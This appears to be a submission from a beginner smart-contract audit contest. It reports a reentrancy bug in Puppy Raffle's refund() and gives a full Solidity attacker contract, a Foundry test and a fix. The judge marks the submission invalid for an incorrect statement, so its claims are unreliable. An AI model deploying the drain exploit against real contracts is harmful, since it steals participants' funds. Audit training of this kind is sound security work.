Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: high
Invalid

refund() violates Checks-Effects-Interactions pattern allowing reentrancy attack that drains all player funds

squashingbugs007

Root + Impact

Description

  • Normal behavior: A player who has entered the raffle can call refund() with their player index to receive their entrance fee back and be removed from the raffle. The function verifies the caller is the player at that index, sends the entrance fee, and zeroes out their slot in the players array.

  • The issue: refund() sends ETH to msg.sender BEFORE updating the players array. This violates the Checks-Effects-Interactions (CEI) pattern — the gold standard for preventing reentrancy attacks in Solidity.

  • When ETH is sent to a contract address, the contract's receive() or fallback() function is triggered. A malicious contract can use this callback to call refund() again before the first call completes. Since players[playerIndex] has not been zeroed yet, all the require checks pass again, and the attacker receives another refund. This loop continues until the contract is drained of all ETH belonging to other players.

// src/PuppyRaffle.sol
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// @> VIOLATION: ETH sent BEFORE state is updated
payable(msg.sender).sendValue(entranceFee);
​
// @> State updated AFTER external call — too late, reentrancy already happened
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • refund() is a public function callable by any active raffle participant at any time during the raffle.

  • The only requirement is entering the raffle once, which is the normal intended behavior — no special access needed.

  • Reentrancy attacks are well-documented and exploit tooling is publicly available.

Impact:

  • An attacker can drain the entire ETH balance of the contract in a single transaction.

  • Every honest participant who paid the entrance fee loses their funds.

  • The prize pool is completely stolen — the raffle cannot complete.

  • Protocol reputation is permanently damaged

Proof of Concept

The following attacker contract demonstrates the full reentrancy drain:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
interface IPuppyRaffle {
function enterRaffle(address[] memory newPlayers) external payable;
function refund(uint256 playerIndex) external;
function getActivePlayerIndex(address player) external view returns (uint256);
}
​
contract ReentrancyAttacker {
IPuppyRaffle public immutable target;
uint256 public attackerIndex;
uint256 public entranceFee;
​
constructor(IPuppyRaffle _target, uint256 _entranceFee) {
target = _target;
entranceFee = _entranceFee;
}
​
// Step 1: Enter raffle and trigger reentrancy
function attack() external payable {
require(msg.value >= entranceFee, "Need entrance fee");
​
// Enter raffle as a normal player
address[] memory players = new address[](1);
players[0] = address(this);
target.enterRaffle{value: entranceFee}(players);
​
// Get our player index
attackerIndex = target.getActivePlayerIndex(address(this));
​
// Trigger refund — reentrancy begins in receive()
target.refund(attackerIndex);
}
​
// Step 2: Reenter refund() on every ETH receive
receive() external payable {
// Keep reentering as long as there are funds to drain
if (address(target).balance >= entranceFee) {
target.refund(attackerIndex);
}
}
​
// Collect stolen funds
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
}
​
// Attack result:
// - Attacker paid 1 entrance fee
// - Attacker drained ALL entrance fees from all other players
// - players[attackerIndex] remains non-zero until very end
// - All require() checks pass on every reentrant call
​
//Foundry test:
​
function testReentrancy() public {
// 4 honest players enter
address[] memory players = new address[](4);
for (uint i = 0; i < 4; i++) players[i] = address(uint160(i + 1));
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
// Attacker enters and attacks
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle, entranceFee);
attacker.attack{value: entranceFee}();
​
// Contract drained
assertEq(address(puppyRaffle).balance, 0);
// Attacker has everyone's fees
assertGt(address(attacker).balance, entranceFee);
}

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern by updating state BEFORE making any external call. Additionally, add OpenZeppelin's ReentrancyGuard as defence in depth:


The CEI fix alone is sufficient to prevent reentrancy. The nonReentrant modifier provides additional protection against future code changes that might reintroduce the vulnerability.

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
- contract PuppyRaffle is ERC721, Ownable {
+ contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {
​
- function refund(uint256 playerIndex) public {
+ function refund(uint256 playerIndex) public nonReentrant {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
+ // @> Update state BEFORE external call (Checks-Effects-Interactions)
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
​
payable(msg.sender).sendValue(entranceFee);
​
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!